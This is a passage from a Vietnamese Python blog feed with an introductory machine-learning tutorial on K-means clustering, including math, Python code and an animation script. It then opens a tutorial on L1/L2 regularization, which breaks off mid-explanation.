Python Cho Người Việt/2020-12-29T00:00:00+07:00Máy học phổ thông (8)2020-12-29T00:00:00+07:002020-12-29T00:00:00+07:00Nguyễn Thành Namtag:None,2020-12-29:2020/12/may-hoc-pho-thong-8.html<p>Kỳ này chúng ta sẽ bàn về một trong những thuật toán phổ biến nhất trong loạt kỹ thuật máy học không giám sát: K-means.</p>
<div class="section" id="dat-van-de">
<h2>Đặt vấn đề</h2>
<p>Cho <span class="math">\(N\)</span> điểm dữ liệu đầu vào, tìm cách để chia chúng ra làm <span class="math">\(k\)</span> cụm/nhóm (cluster) với <span class="math">\(k \le N …</span></p></div><p>Kỳ này chúng ta sẽ bàn về một trong những thuật toán phổ biến nhất trong loạt kỹ thuật máy học không giám sát: K-means.</p>
<div class="section" id="dat-van-de">
<h2>Đặt vấn đề</h2>
<p>Cho <span class="math">\(N\)</span> điểm dữ liệu đầu vào, tìm cách để chia chúng ra làm <span class="math">\(k\)</span> cụm/nhóm (cluster) với <span class="math">\(k \le N\)</span>.</p>
<p>Có hai điểm chính cần được nhấn mạnh:</p>
<ol class="arabic simple">
<li>Dữ liệu đầu vào không chứa thông tin về cụm đầu ra.</li>
<li>Số cụm đầu ra <span class="math">\(k\)</span> là một tham số đầu vào của thuật toán.</li>
</ol>
<p>Giá trị của tham số <span class="math">\(k\)</span> phụ thuộc vào lĩnh vực cụ thể. Ví dụ trong trường học ta muốn phân học sinh ra làm 3 nhóm: học sinh giỏi, khá, và trung bình. Hoặc trong lĩnh vực quảng cáo, ta muốn phân người xem quảng cáo ra làm 2 nhóm: khách sẽ mua, và người sẽ bỏ qua.</p>
</div>
<div class="section" id="giai-quyet-van-de">
<h2>Giải quyết vấn đề</h2>
<p>Giả sử rằng mỗi cụm đầu ra có một tâm điểm. Cách giải quyết vấn đề đơn giản nhất là chọn ngẫu nhiên <span class="math">\(k\)</span> tâm điểm và gán (assign) <span class="math">\(N\)</span> điểm đầu vào vào các nhóm dựa theo khoảng cách của chúng đến <span class="math">\(k\)</span> tâm điểm này.</p>
<p>Có nhiều cách để chọn ngẫu nhiên <span class="math">\(k\)</span> tâm điểm. Ta có thể chọn ngẫu nhiên <span class="math">\(k\)</span> điểm đầu vào làm tâm điểm của <span class="math">\(k\)</span> nhóm. Ta cũng có thể bỏ qua bước chọn tâm điểm và nhảy thẳng đến bước gán nhóm bằng cách gán ngẫu nhiên nhóm <span class="math">\({1, \dots, k}\)</span> vào <span class="math">\(N\)</span> điểm đầu vào.</p>
<p>Dĩ nhiên cách giải này không chấp nhận được vì mỗi lần chạy sẽ cho ra kết quả rất khác với các lần chạy trước.</p>
<p>Thuật toán K-means khắc phục điểm yếu này bằng một bước kế: cập nhật tâm điểm dựa theo kết quả gán nhóm từ bước trước. Sau đó quá trình này được lập lại cho đến khi kết quả gán nhóm không thay đổi nữa.</p>
<p>Trước khi đưa ra cách cập nhật tâm điểm, chúng ta sẽ tìm hiểu thêm về mục tiêu của thuật toán K-means.</p>
<div class="section" id="muc-dich-cua-k-means">
<h3>Mục đích của K-means</h3>
<p>Giả sử ta đã gán nhóm xong. Mỗi điểm <span class="math">\(\vec{x^{(j)}}\)</span> sẽ được gán vào nhóm <span class="math">\(i\)</span> với tâm điểm là <span class="math">\(\vec{\mu^{(i)}}\)</span>. Khoảng cách Ơ-clít từ điểm <span class="math">\(\vec{x^{(j)}}\)</span> đến tâm nhóm <span class="math">\(\vec{\mu^{(i)}}\)</span> là <span class="math">\(\left \lVert \vec{x^{(j)}} - \vec{\mu^{(i)}} \right \rVert_2\)</span> (như đã nhắc đến trong <a class="reference external" href="2020/05/may-hoc-pho-thong-7.html">phần 7</a>). Do đó, khoảng cách từ các điểm thuộc nhóm <span class="math">\(i\)</span> bất kỳ sẽ là:</p>
<div class="math">
\begin{equation*}
\label{eq:sum_of_cluster}
\sum_{\vec{x} \in S_i}{\left \lVert \vec{x} - \vec{\mu^{(i)}} \right \rVert_2} \tag{khoảng cách nội bộ trong 1 nhóm}
\end{equation*}
</div>
<p>với <span class="math">\(S_i\)</span> là tập hợp các điểm đã được gán nhóm <span class="math">\(i\)</span>. Do đó, với <span class="math">\(k\)</span> nhóm, ta có tổng khoảng cách nội bộ của tất cả các nhóm:</p>
<div class="math">
\begin{equation*}
\label{eq:sum_of_clusters}
\sum_{i=1}^{k}\sum_{\vec{x} \in S_i}{\left \lVert \vec{x} - \vec{\mu^{(i)}} \right \rVert_2} \tag{tổng khoảng cách nội bộ của tất cả các nhóm}
\end{equation*}
</div>
<p>Mục tiêu của thuật toán K-means là tìm cách gán nhóm sao cho <span class="math">\(\ref{eq:sum_of_clusters}\)</span> là nhỏ nhất. Đây là một bài toán khó, không thể giải tổng quát theo thời gian đa thức (polynomial in time).</p>
</div>
<div class="section" id="buoc-cap-nhat-tam-diem-cua-k-means">
<h3>Bước cập nhật tâm điểm của K-means</h3>
<p>Vì bài toán tổng quát không thể giải theo thời gian đa thức nên chúng ta có thể chấp nhận lời giải gần đúng. Thay vì cực tiểu hóa <span class="math">\(\eqref{eq:sum_of_clusters}\)</span>, chúng ta có thể cực tiểu hóa <span class="math">\(\eqref{eq:sum_of_cluster}\)</span> của từng nhóm.</p>
<p>Xét ví dụ với hai điểm đầu vào <span class="math">\(\vec{x^{(1)}}\)</span> và <span class="math">\(\vec{x^{(2)}}\)</span>. Tìm điểm <span class="math">\(\vec{\mu}\)</span> sao cho tổng khoảng cách từ <span class="math">\(\vec{x^{(1)}}\)</span> đến <span class="math">\(\vec{\mu}\)</span> và từ <span class="math">\(\vec{x^{(2)}}\)</span> đến <span class="math">\(\vec{\mu}\)</span> là nhỏ nhất. Một trong những giá trị phù hợp của <span class="math">\(\vec{\mu}\)</span> là:</p>
<div class="math">
\begin{equation*}
\vec{\mu} = \frac{\vec{x^{(1)}} + \vec{x^{(2)}}}{2}
\end{equation*}
</div>
<p>Điều này gợi ý rằng ở bước cập nhật của K-means, ta sẽ cập nhật tâm điểm của nhóm <span class="math">\(i\)</span> thành trung bình cộng của các điểm đã được gán vào chính nhóm đó.</p>
<div class="math">
\begin{equation*}
\vec{\mu^{(i)}} = \frac{1}{\vert S_i \vert} \sum_{\vec{x} \in S_i}\vec{x}
\end{equation*}
</div>
</div>
<div class="section" id="id1">
<h3>Thuật toán K-means</h3>
<p>Tóm lại, thuật toán K-means gồm các bước cơ bản sau:</p>
<ol class="arabic simple" start="0">
<li>Khởi tạo: Chọn ngẫu nhiên <span class="math">\(k\)</span> điểm trong <span class="math">\(N\)</span> điểm đầu vào làm tâm điểm của <span class="math">\(k\)</span> nhóm.</li>
<li>Gán nhóm: gán nhóm <span class="math">\(i\)</span> cho điểm <span class="math">\(j\)</span> nếu điểm <span class="math">\(j\)</span> ở gần (theo đường chim bay) tâm điểm của nhóm <span class="math">\(i\)</span> nhất.</li>
<li>Cập nhật: tâm điểm <span class="math">\(i\)</span> được cập nhật thành trung bình cộng của các điểm trong nhóm <span class="math">\(i\)</span>.</li>
<li>Lập lại bước 1 và 2 cho đến khi không còn thay đổi trong việc gán nhóm ở bước 1.</li>
</ol>
<p>Mặc dù K-means chỉ tìm được tâm điểm tối ưu cục bộ (local optima), mà không nhất thiết là tối ưu toàn cục (global optima), nhưng kết quả nhận được từ K-means vẫn có thể phù hợp với mục đích của người dùng, hoặc dùng để làm khởi điểm cho các thuật toán khác.</p>
</div>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">distance</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">((</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">**</span><span class="mi">2</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">x</span><span class="p">)))</span>
<span class="k">def</span> <span class="nf">assign</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">centroids</span><span class="p">):</span>
<span class="n">assignments</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">)):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">distance</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">centroids</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">centroids</span><span class="p">)):</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">distance</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">centroids</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="k">if</span> <span class="n">d</span> <span class="o"><</span> <span class="n">m</span><span class="p">:</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">d</span>
<span class="n">assignments</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span>
<span class="k">return</span> <span class="n">assignments</span>
<span class="k">def</span> <span class="nf">update</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">centroids</span><span class="p">,</span> <span class="n">assignments</span><span class="p">):</span>
<span class="n">nr_elements_in_cluster</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">centroids</span><span class="p">)</span>
<span class="n">sums</span> <span class="o">=</span> <span class="p">[[</span><span class="mf">0.0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">centroids</span><span class="p">]</span>
<span class="k">for</span> <span class="n">j</span><span class="p">,</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">xs</span><span class="p">):</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">assignments</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="n">nr_elements_in_cluster</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">x</span><span class="p">)):</span>
<span class="n">sums</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">d</span><span class="p">]</span> <span class="o">+=</span> <span class="n">x</span><span class="p">[</span><span class="n">d</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">s</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">sums</span><span class="p">):</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)):</span>
<span class="n">s</span><span class="p">[</span><span class="n">d</span><span class="p">]</span> <span class="o">/=</span> <span class="n">nr_elements_in_cluster</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">return</span> <span class="n">sums</span>
<span class="k">def</span> <span class="nf">k_means</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
<span class="n">history</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1"># Lấy ngẫu nhiên k điểm làm tâm điểm.</span>
<span class="n">centroids</span> <span class="o">=</span> <span class="p">[</span><span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][:]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">)),</span> <span class="n">k</span><span class="p">)]</span>
<span class="n">history</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">centroids</span><span class="p">)</span>
<span class="n">old_assignments</span> <span class="o">=</span> <span class="kc">None</span>
<span class="n">assignments</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">while</span> <span class="p">(</span><span class="n">assignments</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">)</span> <span class="ow">or</span> <span class="n">old_assignments</span> <span class="o">!=</span> <span class="n">assignments</span><span class="p">:</span>
<span class="c1"># Bước 1: Gán nhóm.</span>
<span class="n">old_assignments</span> <span class="o">=</span> <span class="n">assignments</span>
<span class="n">assignments</span> <span class="o">=</span> <span class="n">assign</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">centroids</span><span class="p">)</span>
<span class="k">if</span> <span class="n">old_assignments</span> <span class="o">==</span> <span class="n">assignments</span><span class="p">:</span>
<span class="k">break</span>
<span class="c1"># Bước 2: Cập nhật tâm điểm.</span>
<span class="n">centroids</span> <span class="o">=</span> <span class="n">update</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">centroids</span><span class="p">,</span> <span class="n">assignments</span><span class="p">)</span>
<span class="n">history</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">centroids</span><span class="p">)</span>
<span class="k">return</span> <span class="n">history</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">history</span> <span class="o">=</span> <span class="n">k_means</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">history</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
</pre></div>
<p>Khi chạy đoạn mã này, kết quả nhận được có thể là:</p>
<pre class="literal-block">
[(10, 1), (9, 0)]
[[10.333333333333334, 0.3333333333333333], [2.7142857142857144, -0.14285714285714285]]
[[10.0, 0.0], [0.0, 0.0]]
</pre>
<p>Ta thấy rằng hai tâm điểm được chọn ngẫu nhiên, sau đó được cập nhật, và cuối cùng hội tụ tại hai tâm điểm đúng ý muốn.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/k-means.webp" />
<p class="caption">Sự hội tụ của các tâm điểm</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="c1"># Tiếp tục mã nguồn phía trên.</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">animation</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">t</span><span class="p">):</span>
<span class="k">global</span> <span class="n">c1</span><span class="p">,</span> <span class="n">c2</span><span class="p">,</span> <span class="n">history</span>
<span class="k">if</span> <span class="n">t</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="n">t</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">if</span> <span class="n">c1</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">c1</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">history</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]],</span> <span class="p">[</span><span class="n">history</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]],</span> <span class="s1">'x'</span><span class="p">,</span> <span class="n">mew</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'r'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">c2</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">history</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]],</span> <span class="p">[</span><span class="n">history</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">]],</span> <span class="s1">'+'</span><span class="p">,</span> <span class="n">mew</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'y'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">t</span> <span class="o">//</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span>
<span class="n">c1</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">history</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]],</span> <span class="p">[</span><span class="n">history</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]])</span>
<span class="n">c2</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">history</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]],</span> <span class="p">[</span><span class="n">history</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">]])</span>
<span class="n">fig</span><span class="p">,</span> <span class="n">ax</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">subplots</span><span class="p">()</span>
<span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">],</span> <span class="p">[</span><span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">mew</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'b'</span><span class="p">)</span>
<span class="n">c1</span> <span class="o">=</span> <span class="kc">None</span>
<span class="n">c2</span> <span class="o">=</span> <span class="kc">None</span>
<span class="n">anim</span> <span class="o">=</span> <span class="n">animation</span><span class="o">.</span><span class="n">FuncAnimation</span><span class="p">(</span><span class="n">fig</span><span class="p">,</span> <span class="n">run</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">frames</span><span class="o">=</span><span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">history</span><span class="p">))</span>
<span class="n">anim</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'k-means.gif'</span><span class="p">,</span> <span class="n">writer</span><span class="o">=</span><span class="s1">'imagemagick'</span><span class="p">)</span>
</pre></div>
</div>
</div>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Thuật toán K-means là một thuật toán máy học không giám sát dùng để phân nhóm các điểm đầu vào. Thuật toán này gồm 2 bước chính là <em>gán nhóm</em>, và <em>cập nhật tâm điểm</em>. Hai bước này được lập lại cho đến khi việc gán nhóm không còn thay đổi nữa. Tác giả hy vọng bạn đọc nhận ra được sự đơn giản của thuật toán, thậm chí có thể cảm nhận được rằng cá nhân mình cũng có thể sáng tạo được các bước đã bàn qua. Sự đơn giản từ trực giác này chính là nguyên nhân K-means trở thành một trong những thuật toán được sử dụng rộng rãi nhất trong lĩnh vực máy học, mặc dù K-means không đảm bảo kết quả tốt trong mọi trường hợp.</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li>Trang mạng Wikipedia về "k-means clustering" tại <a class="reference external" href="https://en.wikipedia.org/wiki/K-means_clustering">https://en.wikipedia.org/wiki/K-means_clustering</a>.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (7)2020-05-05T00:00:00+07:002020-05-05T00:00:00+07:00Nguyễn Thành Namtag:None,2020-05-05:2020/05/may-hoc-pho-thong-7.html<p>Trong <a class="reference external" href="2018/05/may-hoc-pho-thong-4.html">phần 4</a>, chúng ta gặp phải một vấn đề là giá trị của tham số mô hình <span class="math">\(\vec{\theta}\)</span> liên tục tăng với số bước xuống dốc. Trong bài viết kỳ này, chúng ta sẽ giải quyết vấn đề đó.</p>
<div class="section" id="nhac-lai-van-de">
<h2>Nhắc lại vấn đề</h2>
<p>Ở phần 4, chúng ta …</p></div><p>Trong <a class="reference external" href="2018/05/may-hoc-pho-thong-4.html">phần 4</a>, chúng ta gặp phải một vấn đề là giá trị của tham số mô hình <span class="math">\(\vec{\theta}\)</span> liên tục tăng với số bước xuống dốc. Trong bài viết kỳ này, chúng ta sẽ giải quyết vấn đề đó.</p>
<div class="section" id="nhac-lai-van-de">
<h2>Nhắc lại vấn đề</h2>
<p>Ở phần 4, chúng ta xác lập hàm mất mát như sau:</p>
<div class="math">
\begin{equation*}
\mathcal{L}_\vec{\theta} = -\log \mathcal{P}_\vec{\theta}
\end{equation*}
</div>
<p>Sau đó ta tính dốc <span class="math">\(\nabla \mathcal{L}_\vec{\theta}\)</span> và dùng kỹ thuật xuống dốc để tìm <span class="math">\(\vec{\theta}\)</span> sao cho hàm mất mát đạt giá trị cực tiểu. Càng qua nhiều bước xuống dốc, ta nhận thấy giá trị của <span class="math">\(\vec{\theta}\)</span> liên tục thay đổi mà không có vẻ như sẽ hội tụ tại một điểm cụ thể.</p>
<p>Mô hình chúng ta đặt ra lúc đó là:</p>
<div class="math">
\begin{equation*}
\hat{y}_\vec{\theta}(\vec{x}) = S(\vec{\theta} \cdot \vec{x})
\end{equation*}
</div>
<p>Do đó, nếu <span class="math">\(\vec{\theta} \cdot \vec{x}\)</span> càng lớn thì giá trị của <span class="math">\(\hat{y}\)</span> sẽ càng gần với 1. Đó chính là lý do tại sao qua mỗi bước xuống dốc, giá trị của <span class="math">\(\vec{\theta}\)</span> sẽ càng hướng về phía làm cho <span class="math">\(S(\vec{\theta} \cdot \vec{x})\)</span> càng gần 1.</p>
<p>Điều này có vẻ không cần thiết (vì 0.8 cũng tốt như 0.99999 trong trường hợp này, cả hai đều dẫn đến kết luận là 1), và sẽ dẫn đến mô hình quá khớp (overfitting) với dữ liệu.</p>
</div>
<div class="section" id="giai-quyet-van-de">
<h2>Giải quyết vấn đề</h2>
<p>Để giải quyết vấn đề này, người ta hay sử dụng kỹ thuật chính quy hóa (regularization) để "phạt" những mô hình quá khớp.</p>
<div class="math">
\begin{equation*}
\mathcal{L}_{R\vec{\theta}} = \mathcal{L}_\vec{\theta} + \lambda R(\vec{\theta})
\end{equation*}
</div>
<p>Có hai điểm chúng ta cần bàn qua:</p>
<ol class="arabic simple">
<li>Toán hạng <span class="math">\(\lambda R(\vec{\theta})\)</span> được thêm vào trong hàm mất mát. Toán hạng này được gọi là toán hạng chính quy (regularization term). Hàm <span class="math">\(R\)</span> là một hàm chỉ phụ thuộc vào <em>mô hình</em> mà không phụ thuộc vào <em>dữ liệu đầu vào</em> của mô hình. Tham số <span class="math">\(\lambda \ge 0\)</span> quyết định sự quan trọng của toán hạng chính quy, <span class="math">\(\lambda = 0\)</span> cũng đồng nghĩa với mô hình không sử dụng toán hạng chính quy.</li>
<li>Toán hạng chính quy thường cũng là một hàm lồi. Điều này giúp cho hàm mất mát vẫn giữ được tính lồi của nó vì tổng của các hàm lồi cũng là một hàm lồi. Do đó chúng ta vẫn có thể sử dụng phương pháp xuống dốc để tìm giá trị tối ưu.</li>
</ol>
<p>Hai hàm thường được sử dụng trong vai trò của <span class="math">\(R\)</span> là:</p>
<ol class="arabic simple">
<li><span class="math">\(R(\vec{\theta}) = \Sigma_{i=0}^{n-1} \left| \theta_i \right|\)</span>. Hàm này có tên gọi là L1-norm, hay thường được viết <span class="math">\(\left \lVert \vec{\theta} \right \rVert_1\)</span> và còn được biết đến là khoảng cách Mã Nhật Tân (Manhattan distance), khoảng cách bàn cờ. Ta gọi đây là phương pháp chính quy L1 (L1 regularization).</li>
<li><span class="math">\(R(\vec{\theta}) = \Sigma_{i=0}^{n-1} \theta_i^2\)</span>. Hàm này thường được viết <span class="math">\(\left \lVert \vec{\theta} \right \rVert_2^2\)</span> và căn bậc 2 của nó (tức là <span class="math">\(\left \lVert \vec{\theta} \right \rVert_2\)</span>) là L2-norm, hay còn gọi là khoảng cách Ơ-clít (Euclidean distance), khoảng cách chim bay. Ta gọi đây là phương pháp chính quy L2 (L2 regularization).</li>
</ol>
<p>Vì giá trị tuyệt đối không liên tục ở 0 nên L1-norm không có đạo hàm tại đó. Do đó, loạt bài <strong>Máy học phổ thông</strong> sẽ không sử dụng L1-norm. Bạn đọc có thể tự thử với <a class="reference external" href="https://scikit-learn.org/stable/modules/linear_model.html#lasso">sklearn</a>.</p>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<p>Giả sử chúng ta sẽ sử dụng phương pháp chính quy L2 để "phạt" mô hình khi nó phình to ra, việc đầu tiên là chúng ta sẽ tìm dốc của <span class="math">\(\left \lVert \vec{\theta} \right \rVert_2^2\)</span>. Điều này khá dễ dàng, vì <span class="math">\((x^2)^{\prime} = 2x\)</span> nên:</p>
